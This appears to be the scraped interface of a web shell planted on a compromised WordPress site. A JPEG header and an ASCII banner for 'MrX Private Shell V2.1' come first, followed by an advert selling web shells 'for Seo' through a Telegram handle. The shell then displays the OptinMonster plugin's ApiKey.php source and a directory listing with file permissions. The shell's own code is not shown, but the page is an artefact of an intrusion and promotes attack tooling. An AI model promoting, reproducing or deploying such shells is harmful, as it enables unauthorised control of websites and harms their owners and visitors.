����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Mailpoet integration class.
*
* @since 2.0.0
*
* @package OMAPI
* @author Justin Sternberg
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* OM API Key management class.
*
* @since 2.0.0
*/
class OMAPI_ApiKey {
/**
* Handles storing the API key and initiating the API connection.
*
* @since 2.0.0
*
* @param string $apikey The OM api key.
*
* @return bool True if the Key can be validated
*/
public static function init_connection( $apikey ) {
$base = OMAPI::get_instance();
$creds = compact( 'apikey' );
$option = $base->get_option();
$option['api']['apikey'] = $apikey;
// Let's store the api-key first.
$base->save->update_option( $option, $creds );
// Go ahead and remove the old user and key.
$option['api']['user'] = '';
$option['api']['key'] = '';
// Remove any error messages.
$option['is_invalid'] = false;
$option['is_expired'] = false;
$option['is_disabled'] = false;
$option['connected'] = time();
$option['auto_updates'] = 'all';
$option['usage_tracking'] = true;
// Remove any pre-saved site/user/account data, so we re-fetch it elsewhere.
unset( $option['siteId'] );
unset( $option['siteIds'] );
unset( $option['customApiUrl'] );
unset( $option['apiCname'] );
unset( $option['userId'] );
unset( $option['accountUserId'] );
unset( $option['accountId'] );
unset( $option['currentLevel'] );
unset( $option['plan'] );
unset( $option['revenueAttribution'] );
// Fetch the userId and accountId now.
$option = OMAPI_Api::fetch_me( $option, $creds );
if ( is_wp_error( $option ) ) {
return $option;
}
// Fetch the SiteIds for this site now.
$result = $base->sites->fetch( $apikey );
if ( is_wp_error( $result ) ) {
return $result;
}
$option = array_merge( $option, $result );
// Fetch the campaigns for this site now.
$base->refresh->refresh( $apikey );
// Save the option one more time, with all the new good stuff..
$base->save->update_option( $option, $creds );
return $option;
}
/**
* Remove the API key and disconnect from the OptinMonster app.
*
* @since 2.0.0
*
* @return mixed The results of update_option.
*/
public static function disconnect() {
$option = OMAPI::get_instance()->get_option();
$option['connected'] = 0;
$option['api']['apikey'] = '';
// Remove any pre-saved site/user/account data, so we re-fetch it elsewhere.
unset( $option['userId'] );
unset( $option['accountUserId'] );
unset( $option['accountId'] );
unset( $option['currentLevel'] );
unset( $option['plan'] );
unset( $option['siteId'] );
unset( $option['siteIds'] );
unset( $option['customApiUrl'] );
unset( $option['apiCname'] );
unset( $option['api']['user'] );
unset( $option['api']['key'] );
// Save the updated option.
return OMAPI::get_instance()->save->update_option( $option );
}
/**
* Determine if we can store the given api key.
*
* @since 2.0.0
*
* @param string $apikey The OM api key.
*
* @return bool True if the Key can be validated
*/
public static function verify( $apikey ) {
$creds = array( 'apikey' => $apikey );
// Verify this new API Key works by posting to the Legacy route.
return OMAPI_Api::build( 'v1', 'verify/', 'POST', $creds )->request();
}
/**
* Validate this API Key
* We validate an API Key by fetching the Sites this key can fetch
* And then confirming that this key has access to at least one of these sites
*
* @since 2.0.0
*
* @param string $apikey The OM api key.
*
* @return bool True if the Key can be validated
*/
public static function validate( $apikey ) {
if ( empty( $apikey ) ) {
return false;
}
$site_ids = OMAPI::get_instance()->get_site_ids();
if ( empty( $site_ids ) ) {
return false;
}
$api_key_sites = OMAPI::get_instance()->sites->fetch( $apikey, true );
if ( is_wp_error( $api_key_sites ) || empty( $api_key_sites['siteIds'] ) ) {
return false;
}
foreach ( $site_ids as $site_id ) {
// phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict
if ( in_array( $site_id, $api_key_sites['siteIds'] ) ) {
return true;
}
}
return false;
}
/**
* Determine if we have a valid api key stored.
*
* @since 2.0.0
*
* @return bool
*/
public static function has_credentials() {
$creds = OMAPI::get_instance()->get_api_credentials();
return ! empty( $creds['apikey'] ) || self::has_legacy();
}
/**
* Determine if we have legacy api credentials.
*
* @since 2.0.0
*
* @return bool
*/
public static function has_legacy() {
$creds = OMAPI::get_instance()->get_api_credentials();
return ! empty( $creds['user'] ) && ! empty( $creds['key'] );
}
/**
* Handles regnerating api key.
*
* @since 2.6.5
*
* @param string $apikey Api Key to replace after regeneration.
*
* @return mixed $value The response to the API call.
*/
public static function regenerate( $apikey ) {
return OMAPI_Api::build( 'v2', 'key/regenerate', 'POST', compact( 'apikey' ) )
->request(
array(
'tt' => OMAPI_ApiAuth::get_tt(),
)
);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| EasyDigitalDownloads | Folder | 0755 |
|
|
| Elementor | Folder | 0755 |
|
|
| Integrations | Folder | 0755 |
|
|
| MemberPress | Folder | 0755 |
|
|
| Plugins | Folder | 0755 |
|
|
| Promos | Folder | 0755 |
|
|
| Rules | Folder | 0755 |
|
|
| Shortcodes | Folder | 0755 |
|
|
| WPForms | Folder | 0755 |
|
|
| WooCommerce | Folder | 0755 |
|
|
| Actions.php | File | 6.96 KB | 0644 |
|
| Ajax.php | File | 1.46 KB | 0644 |
|
| Api.php | File | 14.17 KB | 0644 |
|
| ApiAuth.php | File | 2.41 KB | 0644 |
|
| ApiKey.php | File | 5.08 KB | 0644 |
|
| AssetLoader.php | File | 5.59 KB | 0644 |
|
| BaseRestApi.php | File | 6.65 KB | 0644 |
|
| Blocks.php | File | 12.81 KB | 0644 |
|
| ClassicEditor.php | File | 6.92 KB | 0644 |
|
| ConstantContact.php | File | 7.42 KB | 0644 |
|
| Debug.php | File | 4.35 KB | 0644 |
|
| EasyDigitalDownloads.php | File | 9.33 KB | 0644 |
|
| Elementor.php | File | 5.36 KB | 0644 |
|
| Inserter.php | File | 11.29 KB | 0644 |
|
| InstallSkin.php | File | 1.35 KB | 0644 |
|
| InstallSkinCompat.php | File | 1.36 KB | 0644 |
|
| MailPoet.php | File | 13.36 KB | 0644 |
|
| MemberPress.php | File | 4.12 KB | 0644 |
|
| Menu.php | File | 16.88 KB | 0644 |
|
| Notifications.php | File | 18.47 KB | 0644 |
|
| OmuApi.php | File | 4.03 KB | 0644 |
|
| Output.php | File | 24.28 KB | 0644 |
|
| Pages.php | File | 17.61 KB | 0644 |
|
| Partners.php | File | 5.43 KB | 0644 |
|
| Plugins.php | File | 24.34 KB | 0644 |
|
| Promos.php | File | 1.11 KB | 0644 |
|
| Refresh.php | File | 5.75 KB | 0644 |
|
| RestApi.php | File | 38.58 KB | 0644 |
|
| RevenueAttribution.php | File | 2.97 KB | 0644 |
|
| Review.php | File | 1.45 KB | 0644 |
|
| Rules.php | File | 23.44 KB | 0644 |
|
| Save.php | File | 10.8 KB | 0644 |
|
| Shortcode.php | File | 3.58 KB | 0644 |
|
| Sites.php | File | 8.35 KB | 0644 |
|
| Support.php | File | 8.25 KB | 0644 |
|
| Type.php | File | 2.44 KB | 0644 |
|
| Urls.php | File | 8.64 KB | 0644 |
|
| Utils.php | File | 7.41 KB | 0644 |
|
| Validate.php | File | 9.06 KB | 0644 |
|
| WPForms.php | File | 2.6 KB | 0644 |
|
| Welcome.php | File | 4.81 KB | 0644 |
|
| Widget.php | File | 6.5 KB | 0644 |
|
| WooCommerce.php | File | 19.58 KB | 0644 |
|
| WpErrorException.php | File | 714 B | 0644 |
|